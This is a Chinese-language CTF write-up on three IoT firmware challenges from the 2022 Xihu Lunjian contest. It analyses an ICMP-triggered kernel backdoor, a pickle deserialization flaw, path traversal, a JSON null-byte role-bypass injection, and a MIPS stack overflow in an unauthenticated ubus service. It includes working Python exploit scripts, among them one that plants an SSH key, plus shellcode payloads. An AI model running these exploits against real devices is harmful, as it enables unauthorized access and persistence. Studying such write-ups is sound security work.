  Netfilter 是 Linux 内核中的一个框架。linux实现数据过滤,连接跟踪(Connect Track),网络地址转换(NAT)等功能主要基于此框架。核心是该框架在网络协议栈中定义了一些列hook点,可以在这些点中注册函数对协议栈中各层次的数据包进行处理。

  从上图可知挂载点主要有5个:

  • • PRE_ROUTING:路由前。数据包进入IP层后,但还没有对数据包进行路由判定前。

  • • LOCAL_IN:进入本地。对数据包进行路由判定后,如果数据包是发送给本地的,在上送数据包给上层协议前。

  • • FORWARD:转发。对数据包进行路由判定后,如果数据包不是发送给本地的,在转发数据包出去前。

  • • LOCAL_OUT:本地输出。对于输出的数据包,在没有对数据包进行路由判定前。

  • • POST_ROUTING:路由后。对于输出的数据包,在对数据包进行路由判定后。

相关的函数与数据结构有:nf_register_net_hook完成钩子函数注册,struct nf_hook_ops结构体定义如下(最好看对应版本的源码,/lib/modules/5.4.215/可知源码版本):

struct nf_hook_ops {  
    /* User fills in from here down. */  
    nf_hookfn  *hook;  
    struct net_device *dev;  
    void   *priv;  
    u_int8_t  pf;  
    unsigned int  hooknum;  
    /* Hooks are ordered in ascending priority. */  
    int   priority;  
};  
  
/* Function to register/unregister hook points. */  
int nf_register_net_hook(struct net *net, const struct nf_hook_ops *ops);  
void nf_unregister_net_hook(struct net *net, const struct nf_hook_ops *ops);  
int nf_register_net_hooks(struct net *net, const struct nf_hook_ops *reg,  
              unsigned int n);  
void nf_unregister_net_hooks(struct net *net, const struct nf_hook_ops *reg,  
                 unsigned int n);

钩子函数的定义为:

typedef unsigned int nf_hookfn(void *priv,  
                   struct sk_buff *skb,  
                   const struct nf_hook_state *state);

hook的返回值有几种情况:

  • • NF_DROP == 0: 默默丢弃数据包

  • • NF_ACCEPT == 1: 数据包继续在内核协议栈中传输

  • • NF_STOLEN == 2: 数据包不继续传输,由钩子方法进行处理

  • • NF_QUEUE == 3: 将数据包排序,供用户空间使用

  • • NF_REPEAT == 4: 再次调用钩子函数


nf_flow_in.ko注册点为:

nf_register_net_hooks(&init_net, off_940, 1);  
.data..read_mostly:00000940 off_940:        .word hook               # DATA XREF: _5+4↑o  
.data..read_mostly:00000940                                          # _5+10↑o ...  
.data..read_mostly:00000940                                          # nf_hookfn *  
.data..read_mostly:00000944                 .word 0                  # struct net_device   *  
.data..read_mostly:00000948                 .word 0                  # void            *priv  
.data..read_mostly:0000094C                 .word 2                  # u_int8_t        pf  
.data..read_mostly:00000950                 .word 1                  # unsigned int        hooknum

  对比nf_hook_ops结构体的成员定义可知:hooknum == 1 表示hook NF_IP_LOCAL_IN 阶段也就是数据包经过路由判决确定是发给本地的包后。pf == 2表示NFPROTO_IPV4 IPv4协议(IP)。重点hook函数为:

int __fastcall hook(int a1, int a2)  
{  
  int result; // $v0  
  int head; // $v1  
  char *icmp_data; // $s0  
  char *v5; // $v0  
  char *v6; // $a0  
  int v7; // $a1  
  int v8; // $v1  
  
  head = *(_DWORD *)(a2 + 0xA0);  
  if ( *(_BYTE *)(head + *(unsigned __int16 *)(a2 + 0x94) + 9) == 1 )// head + *(unsigned __int16 *)(a2 + 0x94) == ip_header; +9 means protocol  
  {  
    icmp_data = (char *)(head + *(unsigned __int16 *)(a2 + 0x92) + 8);// head + *(unsigned __int16 *)(a2 + 0x92) == transport_header; + 8 means icmp`s data area  
    v5 = &icmp_data[strlen(icmp_data)];  
    v6 = icmp_data;  
    v7 = 0;  
    while ( v5 != v6 )  
    {  
      v8 = *v6++;  
      if ( (unsigned int)(v8 - 0x20) >= 95 )    // unprintable char  
        v7 = -1;  
    }  
    if ( !v7 )  
      7(icmp_data);  
    result = 1;   
  }  
  return result;  
}

  会处理ICMP报文的数据部分,如果全部都是可见字符进入7(icmp_data),需要注意的是函数始终返回1(NF_ACCEPT)也就是说其他ICMP报文正常走完协议栈:

int __fastcall 7(char *a1)  
{  
  char *in; // $s1  
  int v3; // $v0  
  _BYTE *out; // $s5  
  int v6; // $v0  
  unsigned __int8 *v7; // $s2  
  unsigned int i; // $s0  
  int v9; // $v0  
  char key[12]; // [sp+10h] [-10h] BYREF  
  
  in = (char *)kmem_cache_alloc(kmalloc_caches[10], 0xCC0);  
  strcpy(key, "X1Hu-2O23");  
  if ( in )  
  {  
    v3 = strlen(a1);  
    memset(in, 0, v3 + 1);  
    base64Decode(a1, in);  
    if ( strlen(in) )  
    {  
      out = (_BYTE *)kmem_cache_alloc(kmalloc_caches[10], 3264);  
      if ( out )  
      {  
        v7 = (unsigned __int8 *)kmem_cache_alloc(kmalloc_caches[10], 3264);  
        v6 = strlen(in);  
        8(in, v6, (int)key, 9);  
        for ( i = 0; i < strlen(in); ++i )  
          sprintf(&v7[i], "%c", in[i]);  
        v9 = strlen(v7);  
        Base64Encode(v7, out, v9);  
        strcpy(a1, out);  
        kfree(in);  
        kfree(out);  
        kfree(v7);  
      }  
    }  
  }  
  return _stack_chk_guard;  
}

  base64Decode,Base64Encode和main程序的base64_decode都是使用的同一个异变Table,函数8是rc4加密(对称加密),秘钥为X1Hu-2O23(rc4这个不是很懂)。总的来说这个内核模块会对8字节后全是可见字符data的ICMP报文进行base64解密,rc4,base64加密。结合main程序又进行一次base64解密,需要将@targetMac和@localRSApub放入ICMP报文,以X1Hu-2O23为key进行rc4加密,然后base64加密 后发送给目标主机。

  在main程序中绕过前面的checksum和icmp_id检查我觉得存在逻辑问题。首先获取icmp报文中的checksum然后会和icmp_data部分的xorsum进行比较(getXor),那么icmp报文中的checksum字段是一定要构造的而且不能代表整个报文真实的checksum(header+data):

Checksum  
  
      The checksum is the 16-bit ones's complement of the one's  
      complement sum of the ICMP message starting with the ICMP Type.  
      For computing the checksum , the checksum field should be zero.  
      This checksum may be replaced in the future.  
        ----From rfc792

  官方WP上是用和程序中计算data数据getXor函数一样的算法计算出来一个值,并且放入icmp_header中的checksum字段:

def calc_sum(data):  
  
    sum = 0  
  
    for ch in range(len(data)):  
  
        sum^=ord(data[ch])  
  
...  
checksum = calc_sum(data)  
docmd = "python2.7 sendPacket.py %s %s %s"%(ip_addr,str(checksum),encrypt_data)  
  
def icmp_send(dest_addr,pkt_checksum,payload):  
  
  
  
    icmp = socket.getprotobyname("icmp")  
  
  
  
    try:  
  
        my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)  
  
    except socket.error, (errno, msg):  
  
        if errno == 1:  
  
            msg = msg + "This program must be run with root privileges."  
  
            raise socket.error(msg)  
  
        raise  
  
  
  
    pkt_id = 0xDEAD  
  
    dest_addr  =  socket.gethostbyname(dest_addr)  
  
    pkt_checksum = int(pkt_checksum)  
  
    # Make a dummy heder with a fake checksum.  
  
    header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, pkt_checksum, pkt_id, 1)

  我觉得这样会导致发送出去的数据包直接被对方协议栈过滤(猜的,没看过协议栈相关源码),进入设备shell手动启main程序并且使用官方脚本发现设备毫无反应:

  这个情况还好说,因为icmp_header的sequence字段可控且main和内核模块不检查,那么可以构造该字段实现 0 <= getXor(icmp_data) == checksum(icmp) <= 0x80。那么构造icmp为:

import socket, struct, array  
import string, base64  
from Crypto.Cipher import ARC4  
  
BASETABLE = 'Gw6Y/H7PxrieDoRSE58h0fcp1jtlbdON9zKVA2g3+aTCy4XmIBuZUsWJnkMqFLQv'  
def base64Encode(b_in: bytes) -> bytes:  
    retStr = ''  
    count = 0  
    for i in range(0, len(b_in), 3):  
        if count+3 <= len(b_in):  
            tmp = ((b_in[i]) << 8*2) | ((b_in[i+1]) << 8) | (b_in[i+2]) #13896738  
            idx0 = tmp >> 18    #53  
            idx1 = (tmp >> 12) & 0b0111111  #0  
            idx2 = (tmp >> 6) & 0b0111111   #48  
            idx3 = tmp & 0b0111111          #34  
              
            retStr += BASETABLE[idx0]  
            retStr += BASETABLE[idx1]  
            retStr += BASETABLE[idx2]  
            retStr += BASETABLE[idx3]  
            count += 3  
      
    if count != len(b_in):  
        left = len(b_in) - count  
        tmp = 0  
        if left == 1:  
            tmp = (b_in[count]) << 16  
        else :  
            tmp = (b_in[count]) << 16 | ((b_in[count + 1]) << 8)  
          
        idx0 = tmp >> 18  
        idx1 = (tmp >> 12) & 0b0111111  
        idx2 = (tmp >> 6) & 0b0111111  
        idx3 = tmp & 0b0111111  
  
          
        retStr += BASETABLE[idx0]  
        retStr += BASETABLE[idx1]  
        if idx2 != 0:  
            retStr += BASETABLE[idx2]  
        else:  
            retStr += '='  
        if idx3 != 0:  
            retStr += BASETABLE[idx3]  
        else:  
            retStr += '='  
      
    return retStr.encode()  
  
  
  
def base64Decode(b_in) -> bytes:  
    if isinstance(b_in, bytes):  
        b_in = b_in.decode()  
    retStr = b''  
      
    b_in = b_in.rstrip('=')  
    left = len(b_in) % 4  
    # for i in range(0, len(b_in), 4):  
    for i in range(len(b_in) // 4):  
        tmp = BASETABLE.index((b_in[i*4])) << 6*3 | BASETABLE.index((b_in[i*4+1])) << 6*2 | BASETABLE.index((b_in[i*4+2])) << 6 | BASETABLE.index(b_in[i*4+3])  #13896738  
        idx0 = tmp >> 8*2   #212  
        idx1 = (tmp >> 8) & 0b011111111 #12  
        idx2 = tmp & 0b011111111        #34  
          
        retStr += struct.pack(b'<BBB', idx0, idx1, idx2)  
    tmp = 0  
    if left == 3:  
        tmp = BASETABLE.index((b_in[-3])) << 6*3 | BASETABLE.index((b_in[-2])) << 6*2 | BASETABLE.index((b_in[-1])) << 6*1  
    elif left == 2:  
        tmp = BASETABLE.index((b_in[-2])) << 6*3 | BASETABLE.index((b_in[-1])) << 6*2  
    elif left == 1:  
        tmp = BASETABLE.index((b_in[-1])) << 6*3  
      
    idx0 = tmp >> 8*2  
    idx1 = (tmp >> 8) & 0b011111111  
    idx2 = tmp & 0b011111111  
    retStr += struct.pack(b'<BBB', idx0, idx1, idx2)  
  
    retStr = retStr.rstrip(b'\x00')  
  
    return retStr  
  
  
def packData(d_in:bytes, key:bytes = b'X1Hu-2O23'):  
    arc4 = ARC4.new(key)  
    t = arc4.encrypt(d_in)  
    retData = base64Encode(t)  
    return retData  
      
def unpackData(d_in:bytes, key:bytes = b'X1Hu-2O23'):  
    retData = base64Decode(d_in)  
    arc4 = ARC4.new(key)  
    return arc4.decrypt(retData)  
  
def chesksum(data):  
    n = len(data)  
    m = n % 2  
    sum = 0  
    for i in range(0, n - m, 2):  
        sum += (data[i]) + ((data[i + 1]) << 8)  
        sum = (sum >> 16) + (sum & 0xffff)  
    if m:  
        sum += (data[-1])  
        sum = (sum >> 16) + (sum & 0xffff)  
    answer = ~sum & 0xffff  
    answer = answer >> 8 | (answer << 8 & 0xff00)  
    return answer  
  
def xorChecksum(data: bytes) -> int:  
    ret = 0  
    for i in data:  
        ret ^= i  
    return ret  
  
def find_sum(data):  
    data_Xorsum = xorChecksum(data)  
    data = packData(data, b'X1Hu-2O23')  
    data_Xorsum = ((data_Xorsum & 0xff) << 8) | (data_Xorsum >> 8)  
    for i in range(256):  
        for j in range(256):  
            icmp_data = b'\x08\x00\x00\x00\xad\xde' + i.to_bytes(1,'big') + j.to_bytes(1,'big') + data  
            tmp_sum = chesksum(icmp_data)  
              
            if data_Xorsum == tmp_sum:  
                print(hex(i),hex(j),hex(data_Xorsum))  
                return (i << 8) | j, data_Xorsum  
  
  
def icmp_send():  
    icmp_data = b'00:00:00:00:00:1b@'  
    icmp_data += b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDbqytls41JAN2qY7MgqF05rML8zDXYA6CWdT0S3q17l9jXqzITbPv3sCMGUcsZNNkWnxl6MtDTqpu0pIBpZblbsjKC8rbtFV6RbpNDfaJ8esNck4++YdkpG67cHQnvoNkJOFLNfjuuCVtYEo8g3mAb6KCyG9rfa22lHTl+gj99Lw=='  
  
    seq, checksum = find_sum(icmp_data)  
    icmp_header = struct.pack('>BBHHH', 8, 0, checksum, 0xadde, seq)  
    icmp_data_pack = packData(icmp_data, b'X1Hu-2O23')  
    icmp_payload = icmp_header + icmp_data_pack  
    print(base64Encode(icmp_data))  
    print(icmp_data_pack,'\n',  unpackData(icmp_data_pack))  
  
    raw_sfd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))  
    raw_sfd.sendto(icmp_payload, ('192.168.1.1', 0))  
  
  
if __name__ == '__main__':  
    icmp_send()  

  有个小问题就是上传的秘钥不能太长,否则会出现截断问题。可以使用ssh-keygen生成一个1024bit的就行了,或者截开多打几次:

pbk

  题目对应了一个包含前后端的系统,前端用python实现了登录、注册等功能,后端用C++实现了upload_file和查看/tmp目录下某个文件。前端中的权限校验函数auth_check存在反序列化漏洞。其中session_id没有做限制且用户可控。

def auth_check(self, session_id):  
    try:  
        if not os.path.exists("/tmp/session/" + session_id):  
            return False  
        f = open("/tmp/session/" + session_id, "rb")  
        _session = pickle.loads(f.read())  
        f.close()  
        current_time = int(time.time())  
        if current_time - _session.login_time > _session.lease:  
            return False  
        return _session.role  
    except:  
        return False

  后端c++实现,在逆向的时候基本一半猜一半逆(目前C++水平太拉了),不过基本的逻辑能理清。核心是解析前端发送的json数据包然后根据role和bk_code的值调用对应处理函数。guest用户有两种情况bk_code == 0x70 or 0x23。对应函数readfile(0041A050)和uploadfile(0041A050)。

  其中readfile会打开tmp下的一个文件,该文件名称由用户随意指定没有做限制存在目录穿越。

  uploadfile实现文件上传同样没有对用户指定的文件名做限制,因此结合前端的漏洞实现反序列化漏洞。

  对于admin用户可以调用sub_419BAC直接命令注入:

  官方wp提供了三种解题思路,前面通过guest漏洞比较直接。而对于admin通过python和json-c对unicode数据解析不一致绕过,例如构造{"r":"123","r\u0000":"456"}的json包对于python json strict=False来说该json结构中分别存在rr\u000两个key。但是如果json-c这样构造就会导致只存在一个key即r这好像是因为json-c的作者沿用c中string标准截断判别,即null截断,这个问题在github上是该项目中讨论最多的但还是open状态(快10年了):

(学到了,学到了)

用在题目中就是,构造如下数据:

backend1 = 'NOVA00010102{"session_id":"%s","func":18,"f":32,"d":"touch /hacked_by_npc","r":"admin","r\u0000":"admin"}' % guest_session_id

经过服务器前端转发变成:

{"session_id": "THeoEcUFBmUmXQJXJDxPBNzZFlhVFBZk", "func": 18, "f": 32, "d": "touch /haked_by_npc", "r": "guest", "r\u0000": "admin"} 

然后后端调用json_tokener_parse解析该json包,理所当然的变成r:admin,后端并没有继续解析session_id。

import socket, json  
  
HEADER = 'NOVA' + '0001' + '0102'  
  
def login(name: str, pwd: str, sfd: socket.socket):  
    js_data = {'func': 1, 'usr':name, 'pwd':pwd}  
    payload = HEADER + json.dumps(js_data)  
    sfd.sendall(payload.encode())  
    return json.loads(sfd.recv(1024).decode())  
  
def logout(sessionID: str, sfd: socket.socket):  
    js_data = {'func': 0x10, 'session_id': sessionID}  
    payload = HEADER + json.dumps(js_data)  
    sfd.sendall(payload.encode())  
    return json.loads(sfd.recv(1024).decode())  
  
def register(name: str, pwd: str, sfd: socket.socket):  
    js_data = {'func': 0x11, 'usr':name, 'pwd':pwd}  
    payload = HEADER + json.dumps(js_data)  
    sfd.sendall(payload.encode())  
    return json.loads(sfd.recv(1024).decode())  
  
def backhend(js_data, sfd: socket.socket):  
    payload = HEADER + json.dumps(js_data)  
    print(payload)  
    sfd.sendall(payload.encode())  
    return json.loads(sfd.recv(1024).decode())  
  
def delete(sessionID: str, name: str, sfd: socket.socket):  
    js_data = {'func': 0x13, 'session_id':sessionID, 'usr':name}  
    payload = HEADER + json.dumps(js_data)  
    sfd.sendall(payload.encode())  
    return json.loads(sfd.recv(1024).decode())  
  
  
def main():  
    sfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    try:  
        sfd.connect(('192.168.1.1', 12345))  
    except Exception as e:  
        print(e)  
        exit(-1)  
      
    bk_json = {'session_id':session_id, 'func':18, 'f': 0x23,'o': '../dev/ttyUSB0'}  
    session_id = login('guest', 'guest', sfd)['data']['session_id']  
    print(backhend(bk_json, sfd))  
  
def method3():  
  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
    s.connect(('192.168.1.1', 12345))  
  
    login_guest = 'NOVA00010102{"usr":"guest","pwd":"guest","func":1}'  
  
    s.sendall(login_guest.encode())  
  
    res = s.recv(1024)  
  
    res_status = json.loads(res).get("result")  
  
    guest_session_id = json.loads(res).get("data").get("session_id")  
  
    if (res_status != "1") or (len(guest_session_id) != 32):  
  
        print("method2 guest login failed")  
  
        exit(0)  
  
    backend1 = 'NOVA00010102{"session_id":"%s","func":18,"f":32,"d":"touch /hacked_by_npc","r":"admin","r\u0000":"admin"}' % guest_session_id  
  
    s.sendall(backend1.encode())  
  
    res = s.recv(1024)  
  
    print(res)  
  
if __name__ == '__main__':  
    method3()

固件3

  同样无法直接连串口但是和固件二不同的是,串口只会打印出一部分日志,然后就完全没有了:

Flattened uImage Tree (FIT) Images

  在解决这个固件问题前需要了解FIT镜像。FIT是一种结构(.itb),类似于设备树(Device Tree Blob, dtb. 很多嵌入式设备不能主动的发现该设备所拥的硬件,所以在dbt使用之前都需要以硬编码的方式告诉内核外设信息。dtb使用之后一个内核配合不同的设备树信息就可以在多个设备上运行)。只不过FIT存放各个二进制文件的信息如kernel、initramfs、dbt等,这样就可以把它们放在一个image中。然后u-boot读取FIT信息来加载一个嵌入式linux系统。使用dumpimage查看:

$ dumpimage -l ./hatlab_gateboard-one-kernel.itb   
FIT description: MIPS OpenWrt FIT (Flattened Image Tree)  
Created:         Sat Mar 18 18:12:12 2023  
 Image 0 (kernel-1)  
  Description:  MIPS OpenWrt Linux-5.4.215  
  Created:      Sat Mar 18 18:12:12 2023  
  Type:         Kernel Image  
  Compression:  gzip compressed  
  Data Size:    3451794 Bytes = 3370.89 KiB = 3.29 MiB  
  Architecture: MIPS  
  OS:           Linux  
  Load Address: 0x81001000  
  Entry Point:  0x81001000  
  Hash algo:    crc32  
  Hash value:   54d3f87d  
  Hash algo:    sha1  
  Hash value:   a2e35b5ec3727408a9af951dee2768db8b42bd93  
 Image 1 (initrd-1)  
  Description:  MIPS OpenWrt hatlab_gateboard-one initrd  
  Created:      Sat Mar 18 18:12:12 2023  
  Type:         RAMDisk Image  
  Compression:  uncompressed  
  Data Size:    1715634 Bytes = 1675.42 KiB = 1.64 MiB  
  Architecture: MIPS  
  OS:           Linux  
  Load Address: unavailable  
  Entry Point:  unavailable  
  Hash algo:    crc32  
  Hash value:   6773429c  
  Hash algo:    sha1  
  Hash value:   0a6ea4a7463ddc1acb38398c4524e5795f783297  
 Image 2 (fdt-1)  
  Description:  MIPS OpenWrt hatlab_gateboard-one device tree blob  
  Created:      Sat Mar 18 18:12:12 2023  
  Type:         Flat Device Tree  
  Compression:  uncompressed  
  Data Size:    13146 Bytes = 12.84 KiB = 0.01 MiB  
  Architecture: MIPS  
  Hash algo:    crc32  
  Hash value:   e4c6bb68  
  Hash algo:    sha1  
  Hash value:   d911fad6cfe9877d80ea5601e006905afb2ed4d7  
 Default Configuration: 'config-1'  
 Configuration 0 (config-1)  
  Description:  OpenWrt hatlab_gateboard-one  
  Kernel:       kernel-1  
  Init Ramdisk: initrd-1  
  FDT:          fdt-1

  FIT中的设备树信息(Device Tree Blob)可以使用Tree Compiler (DTC)工具编译Device Tree Source (DTS)文件获得,并且这种编译是没有信息缺损的也就是说如果使用DTC编译获得DTB,那么可以反编译获得完全一致的源文件(DTS),而DTS才是我们要看的:

#compile  
$ dtc -I dts -O dtb juno.dts > juno.dtb  
  
#decompile  
$ dtc -I dtb -O dts juno.dtb > juno.dts  
  
$ dumpimage -T flat_dt -p 2 -o dtb.bin ./hatlab_gateboard-one-kernel.itb  
Extracted:  
 Image 2 (fdt-1)  
  Description:  MIPS OpenWrt hatlab_gateboard-one device tree blob  
  Created:      Sat Mar 18 18:12:12 2023  
  Type:         Flat Device Tree  
  Compression:  uncompressed  
  Data Size:    13146 Bytes = 12.84 KiB = 0.01 MiB  
  Architecture: MIPS  
  Hash algo:    crc32  
  Hash value:   e4c6bb68  
  Hash algo:    sha1  
  Hash value:   d911fad6cfe9877d80ea5601e006905afb2ed4d7  
  
$ dtc -I dtb -O dts dtb.bin > 3.dts      
<stdout>: Warning (unit_address_vs_reg): Node /palmbus@1E000000/spi@b00/spi-nor@0/partitions@0 has a unit name, but no reg property  
<stdout>: Warning (unit_address_vs_reg): Node /ethernet@1e100000/mdio-bus/switch@1f/ports has a reg or ranges property, but no unit name

获得DTS文件后对3,1固件的DTS diff发现(参考2021西湖论剑IOT的wp):

把3号固件的DTS的uartlite@c00->status改为"okay"或者删除,然后重编译

$ dtc -I dts -O dtb 3.dts > 3.dtb

把itb镜像中的kernel、initrd都剥离出来后,需要按照dumpimage -l ./hatlab_gateboard-one-kernel.itb 获得的格式编写一个 Image Tree Source(.its)文件,类似于Device Tree Source:

/dts-v1/;  
  
/ {  
    description = "MIPS OpenWrt FIT (Flattened Image Tree)";  
    #address-cells = <1>;  
  
    images {  
        kernel-1 {  
            description = "MIPS OpenWrt Linux-5.4.215";  
            data = /incbin/("./kernel.bin");  
            type = "kernel";  
            arch = "MIPS";  
            os = "linux";  
            compression = "gzip";  
            load = <0x81001000>;  
            entry = <0x81001000>;  
        hash@1 {  
                algo = "crc32";  
              
        };  
        hash@2 {  
                algo = "sha1";  
              
        };  
        };  
        initrd-1 {  
            description = "MIPS OpenWrt hatlab_gateboard-one initrd";  
            data = /incbin/("./initrd.bin");  
            type = "ramdisk";  
            arch = "MIPS";  
            os = "linux";  
            compression = "none";  
        hash@1 {  
                algo = "crc32";  
              
        };  
        hash@2 {  
                algo = "sha1";  
              
        };  
        };  
        fdt-1 {  
            description = "MIPS OpenWrt hatlab_gateboard-one device tree blob";  
            data = /incbin/("./3.dtb");  
            type = "flat_dt";  
            arch = "MIPS";  
            compression = "none";  
        hash@1 {  
                algo = "crc32";  
              
        };  
        hash@2 {  
                algo = "sha1";  
              
        };  
        };  
    };  
    configurations {  
        default = "config-1";  
        config-1 {  
            description = "OpenWrt hatlab_gateboard-one";  
            kernel = "kernel-1";  
            ramdisk = "initrd-1";  
            fdt = "fdt-1";  
        };  
    };  
};

然后制作itb文件:

mkimage -f 3.its hatlab_gateboard-one-kernel_new.itb

效果如下:

dsd

  dsd使用openwrt的ubus总线子系统注册了一个server object:

ubus架构简图如下:

主要有三部分组成:

  • • ubusd:守护进程,充当server和client间的broker

  • • server object:通常是软件提供的接口,通过在ubusd中注册方法的形式提供给client使用

  • • client object:调用者,这种调用方式就是Remote Procedure Call (RPC),和upnp的服务调用很相似。

Access to ubus over HTTP

  本来ubus上面提供的服务是用于进程间交互的,但是uhttpd的uhttpd-mod-ubus插件允许通过http协议调用ubus上的方法(Remote Procedure Call (RPC))。默认情况下使用POST方法依照jsonrpc v2.0格式访问/ubus完成远程调用。但是如此调用时需要经过Access Control List(ACL,即访问控制列表),这个由守护进程rpcd完成。/usr/share/rpcd/acl.d/*.json描述了所有的访问规则。如:

{  
        "unauthenticated": {  
                "description": "Access controls for unauthenticated requests",  
                "read": {  
                        "ubus": {  
                                "session": [ "access", "login" ]  
                        }  
                }  
        }  
}

上图session是一个,其中包括了很多方法如:"create","list","login"等后面的是调用对应方法需要的参数。dsd的访问规则为:

// root@OpenWrt:~# cat /usr/share/rpcd/acl.d/luci-app-dsd.json  
{  
    "unauthenticated": {  
            "description": "ubus access control",  
            "read": {  
                    "ubus": {  
                            "dsd": [  
                                    "job"  
                                ]  
                    }  
            }  
    }  
}

  unauthenticated和ubus_rpc_session="00000000000000000000000000000000"其只能访问unauthenticated组下面的方法而其他组需要session中的login方法获取登录获取ubus_rpc_session才能访问,也就是说dsd提供的job方法可以在未授权的情况下通过uhttpd的/ubus访问

root@OpenWrt:~# ubus -v list dsd  
'dsd' @03db63db  
        "job":{"id":"Integer","msg":"String"}

通过POST调用需要构造data数据为:

{ "jsonrpc": "2.0",  
  "id": <unique-id-to-identify-request>,   
  "method": "call",  
  "params": [  
             <ubus_rpc_session>, <ubus_object>, <ubus_method>,   
             { <ubus_arguments> }  
            ]  
}

通过对比openwrt提供的ubus服务端例程openwrt-ubus-api/ubus/examples/server.c at master · KerwinKoo/openwrt-ubus-api · GitHub不难得出:

int __fastcall job(void *ctx, void *obj, void *req, char *method, void *msg)  
{  
  int v5; // $s0  
  int v6; // $v0  
  char *v8; // [sp+20h] [+20h]  
  char v9[4]; // [sp+24h] [+24h] BYREF  
  _DWORD *v10; // [sp+28h] [+28h]  
  char v11[28]; // [sp+2Ch] [+2Ch] BYREF  
  
  strcpy(v11, "%s received a message: %s");  
  v8 = "(unknown)";  
  v5 = sub_400AA0((int)msg);  
  v6 = sub_400B1C(msg);  
  blobmsg_parse(&off_4016FC, 2, v9, v5, v6);  
  if ( v10 )  
    v8 = (char *)blobmsg_data(v10);  
  blob_buf_init(&dword_4120E8, 0);  
  sub_401024(v8);  
  sub_400D20((int)&dword_4120E8, (int)"status", 0);  
  sub_400DD0((int)&dword_4120E8, (int)&dword_4016F8, (int)v8);  
  ubus_send_reply(ctx, req, dword_4120E8);  
  return 0;  
}

  为核心用户数据处理函数,其中sub_401024->sub_400F80->strncpy可控,导致溢出漏洞。其实sub_401024也能溢出(memcpy)但是其函数返回方式是 jr $ra,不方便控制所以在sub_400F80中利用。

Exploit

  程序开了NX保护,但只是stack上的。从/proc/pid/maps里面看其堆空间是可执行的:

  需要注意的是payload不可以包含null字符,否则解析时会被截断。因此利用思路为:payload中填充不带null的shellcode,覆盖$ra指向shellcode。这是因为系统只开启了栈地址随机化

import requests, struct  
from pwn import *  
  
URL = 'http://192.168.1.1/ubus'  
  
'''  
LOAD:00400EE4                 addiu   $v0, $fp, 0x260+var_244  
LOAD:00400EE8                 move    $a0, $v0         # cmd  
LOAD:00400EEC                 jal     system  
  
  
LOAD:00401010                 lw      $ra, 0x1020+var_s4($sp)  
LOAD:00401014                 lw      $fp, 0x1020+var_s0($sp)  
LOAD:00401018                 addiu   $sp, 0x1028  
LOAD:0040101C                 jr      $ra  
'''  
  
headers = {"Accept": "*/*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",  
  
           "Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/json"}  
  
command = ";ls > /tmp/flag;"  
  
shellcode = asm("addiu $sp, -0x1217", arch='mips', os='linux', bits=32)  
shellcode += asm("jal 0x004018E0", arch='mips', os='linux', bits=32)  
shellcode += asm("addiu $a0, $sp, 0x1201", arch='mips', os='linux', bits=32)     #cant be 'nop' becuase of null  
shellcode = shellcode.ljust(4104 - len(command), b'A').decode('latin-1')  
shellcode += command  
shellcode_Addr = 0x413058  
  
rawBody = "{\"jsonrpc\":\"2.0\",\"id\":\"0\",\"method\":\"call\",\"params\":[\"00000000000000000000000000000000\",\"dsd\",\"job\",{\"msg\":\"*##*" + struct.pack('>HH', 4104 + 9 + 3, 4104 + 3).decode('latin-1') + "*##*" + shellcode + "\x58\x30\x41" "\"}]\r\n}"  
  
# print(rawBody)  
resp = requests.post(url=URL,headers=headers, data=rawBody, timeout=3)  
print(resp.text)

参考

  • • 2022西湖论剑 IoT-AWD 赛题官方 WriteUp (上篇):一号固件&二号固件 (qq.com)

  • • 【技术分享】IoT固件分析入门 - 网安 (wangan.com):IDA patch mips无法保存

  • • ghidra_SavePatch/SavePatch.py at master · schlafwandler/ghidra_SavePatch (github.com):ghidra脚本

  • • MIPS Application Specific Extensions (ASE) - Imagination:mips拓展指令集

  • • Handlers (embedthis.com):appweb官方文档

  • • Appweb 学习笔记 - V4ler1an

  • • (59条消息) 网络编程——原始套接字实现原理_使用原始套接字在网络层进行数据传输_企鹅快跑的博客-CSDN博客

  • • 网络骇客初级之原始套接字(SOCK_RAW)_Czyy的技术博客_51CTO博客

  • • Linux内核源码之Netfilter框架 - 知乎 (zhihu.com)

  • • struct sk_buff结构体详解_51CTO博客_sk_buff结构体

  • • Decoding of string with null-byte. · Issue #108 · json-c/json-c (github.com)

  • • Device Tree (dtb) - postmarketOS

  • • Flattened uImage Tree (FIT) Images (gibbard.me)

  • • 2021西湖论剑IOT RW-WriteUp (qq.com)

  • • 2022西湖论剑 IoT-AWD 赛题官方 WriteUp (下篇):三号固件 (qq.com)

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2